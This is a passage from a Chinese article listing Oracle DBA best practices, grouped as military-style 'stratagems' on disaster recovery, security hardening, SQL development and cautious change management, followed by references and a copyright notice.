2.制定应急预案和进行演习,这是确保方案有效可执行的必要工作,没有演练的预案全是纸上谈兵;
3.建立容灾或异地备份,确保在极端情况下,可以保持数据的留存,Data Guard架构是最简单保护手段;
4.数据归档和读写分离,无限累积的数据必然影响性能和备份效率,建立数据归档机制、实现读写分离需要在架构上优先设计;
5.测试和生产环境隔离,数据网络隔离¬¬。数据库应处于应用系统最后端,避免将其置于对外的访问连接之下,并且绝对不能在生产环境进行测试;
6.部署标准和完善的监控体系,监控是一切自动化运维的基础,监控可以让我们更早发现故障,更快应对故障;
7.制订规范并贯彻执行,良好的规范是减少故障的基础,全面的规范提升开发和运维人员的标准化;
8.运维自动化和智能化,把运维的各种策略和变更尽可能用脚本或者工具管理实现,做到自动化,进而通过智能化探索,推进运维的持续提升;
敌战计:数据是企业核心命脉,也是外部觊觎者时时窥视和窃取的目标所在,做好针对风险的安全防范,却敌与防线之外,是为敌战。
9.严格管控权限,明确用户职责。遵循最小权限授予原则,避免因为过度授权而带来的安全风险;明确不同的数据库用户能够用于的工作范围,防范和隔离风险;
10.密码策略强化,防范弱口令带来的安全风险,定期更换密码,同时生产和测试环境严格使用不同的密码策略;
11.限制登录工具,明确限制不同管理工具的使用场景和访问来源,防范未知工具的注入风险;
12.监控监听日志,分析数据库访问的来源、程序等信息,确保清晰可控,记录在案;
13.重要数据加密,尤其是用户和密码等信息,在数据库中应当进行加密存储;
14.适时的软件升级,持续关注Oracle软件及更新,参考行业警示,尤其应关注已发布的安全补丁,防范已知漏洞被恶意利用;
15.防范内部风险,绝大部分安全问题都来自于企业内部,通过规章、制度与技术手段规避安全风险;
16.树立安全意识和开始安全审计,安全问题最大的敌人是侥幸,制定安全方案,定期分析数据库风险,逐步完善数据库安全;

攻战计:很多数据库的运行故障都是源自开发的SQL代码编写不佳,或者架构设计不优、新特性使用不当,通过结合DevOps理念的SQL审核、优化等主动从前端和全局解决和防范问题,扼异变于未变之前,是为攻战计。

17.使用绑定变量,在开发过程中,严格使用绑定变量,提升性能同时防范SQL注入攻击;
18.审核全表扫描和隐式转换等,这是OLTP系统性能的常见问题,需要在开发端进行SQL审核,建立开发规范,实现DevOps理念落地;
19.关注新版本的新特性,尤其是版本升级之后,需要提前关注和预防新特性引起的改变,如11g的串行直接路径读,12c的自适应LGWR等;
20.持续保存和记录AWR信息,建立性能基线,这是性能诊断的核心,应该持续保存或转储重要系统的性能数据;
21.善用Oracle的闪回特性,尤其是闪回查询,可以在误更新数据等操作后快速回退,纠正错误;
22.优化Redo日志存储和效率,关注和优化Log File Sync等待,这是数据库事务的重要影响因素;
23.增进对业务的理解和架构规划参与,数据库的很多优化必须基于对业务的深刻理解,最佳优化时机在于架构设计和开发环节,Oracle DBA应该不断向前走;
24.对生产环境保持敬畏,不放过任何性能波动疑点,不想当然和轻视任何数据操作。针对任何业务数据库的操作都不能草率,在接触数据时都不能掉以轻心;

混战计:在工作实践的运维当中,环境往往非常复杂,变更涉及多部门多环节,一个操作不当、考虑不周就有可能引发一次严重的生产事故,所以在运行维护、生产变更中必须严格流程、划分角色、心存敬畏,以严谨杜绝风险,是为混战计。

25.禁止远程DDL和业务时间的DDL操作,限制高危DDL操作仅能在数据库服务器本地进行,严格禁止业务时间的DDL操作;
26.警惕任何不可回退的操作,谨记 rm 是危险的,在数据库内部执行 DROP/TRUNCATE 等破坏性操作时,同样应当十分谨慎,最好做好备份;
27.不要轻易删除任何一个归档日志,在归档模式一定要做好归档备份和空间监控,确保日志的连续性是恢复根本;
28.严格的变更测试和流程操作,并做到变更记录审计,变更之前做到仿真系统严格验证,形成详细流程、步骤和指令并遵照执行;记录操作日志,任何数据库操作做到有迹可查、有踪可寻;
29.变更必须制定回退方案,不走单行线,确保出现异常时能够将系统恢复原貌;
30.选择合适的变更窗口,不可过度乐观草率,避免陷入不可预期的变更陷阱;
31.变更之后进行日志核查,在维护期间应当提炼摘取维护期生成的所有日志,确保无误无错;
32.重要操作实现人员备份,在执行重要操作时由两个人同时在场,互相监督审核,不做疲劳变更和草率决策;不要在维护中冒险,当数据库的表征超出了你的预期,那么停下来,不做现场的风险性尝试;
败战计:在运维工作中,出现问题是无法绝对避免的,所以要针对问题做出预案,形成规则,在紧急时刻照章办事,加快处理流程和速度,必要时寻求外部援助,最小化故障影响,是为败战计。
33.明确连续性或一致性优先原则,首要优先级在紧急故障时会直接影响决策,必须事前明确,在故障处置时顺畅执行;
34.建立顺畅的部门协作流程,数据库运维外延包括主机、存储、网络、开发等,往往需要多个部门的协作才能有效解决问题或推进变革;
35.数据恢复必须确立明确的方案和步骤,在面对灾难时,不要急于进行恢复尝试,以免导致次生故障,需要明确分析、清晰决策,才能万无一失;
36.关键时刻保护现场寻求支持,在数据库出现超出常规、无法把握的问题时,要保护现场,寻求支援,避免无序尝试带来的数据损失!

参考文献:

  1. https://www.ifanr.com/564386]
  2. https://kknews.cc/tech/pxrep9p.html
  3. http://iplaylinux.com/putty-chinese-backdoor-issue.html
最后修改时间:2020-04-14 11:46:05
「喜欢这篇文章,您的关注和赞赏是给作者最好的鼓励」
关注作者
【版权声明】本文为墨天轮用户原创内容,转载时必须标注文章的来源(墨天轮),文章链接,文章作者等基本信息,否则作者和墨天轮有权追究责任。如果您发现墨天轮中有涉嫌抄袭或者侵权的内容,欢迎发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论